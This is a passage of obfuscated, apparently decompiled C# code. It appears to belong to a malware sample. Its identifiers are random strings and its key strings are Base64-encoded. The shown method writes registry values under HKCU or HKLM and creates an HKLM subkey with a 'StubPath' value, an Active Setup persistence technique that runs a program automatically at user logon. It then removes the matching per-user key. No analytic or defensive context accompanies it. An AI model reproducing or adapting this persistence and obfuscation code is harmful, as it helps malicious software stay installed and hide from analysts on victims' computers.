if (!this.qjgvtp5dxw2xd3cymnnrrpi4q)
return;
this.ad1vi241wyo23agtvnemgivkyuh243nog();
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
private void Zvyyb03fyylfr3leq2ogwlkzx(
string Yq3ydwexug20uthmz2ubur2jepv13qpwg,
string rxcxnisdudntk1fjudcmbtlm5,
string Ulb5u4r5ba0bnzcq1,
int Y534kkkdcdljareknie3ppsg1)
{
this.lhavasqwmjebhnrkb = true;
if (Y534kkkdcdljareknie3ppsg1 == 1)
Registry.CurrentUser.OpenSubKey(Yq3ydwexug20uthmz2ubur2jepv13qpwg, true).SetValue(rxcxnisdudntk1fjudcmbtlm5, (object) Ulb5u4r5ba0bnzcq1);
if (Y534kkkdcdljareknie3ppsg1 == 2)
Registry.LocalMachine.OpenSubKey(Yq3ydwexug20uthmz2ubur2jepv13qpwg, true).SetValue(rxcxnisdudntk1fjudcmbtlm5, (object) Ulb5u4r5ba0bnzcq1);
if (Y534kkkdcdljareknie3ppsg1 != 3)
return;
RegistryKey subKey = Registry.LocalMachine.CreateSubKey(Yq3ydwexug20uthmz2ubur2jepv13qpwg + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + rxcxnisdudntk1fjudcmbtlm5);
subKey.SetValue(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("U3R1YlBhdGg="), (object) Ulb5u4r5ba0bnzcq1);
subKey.Close();
if (Registry.CurrentUser.OpenSubKey(Yq3ydwexug20uthmz2ubur2jepv13qpwg + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + rxcxnisdudntk1fjudcmbtlm5, true) == null)
return;
Registry.CurrentUser.DeleteSubKey(Yq3ydwexug20uthmz2ubur2jepv13qpwg + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + rxcxnisdudntk1fjudcmbtlm5, false);
}
private static void Main(string[] args) => new P3gp3nhhay2byunb2ryhhvgoe().Detxmohej30sq5rdtby5aviwjiokh2gif();
}
}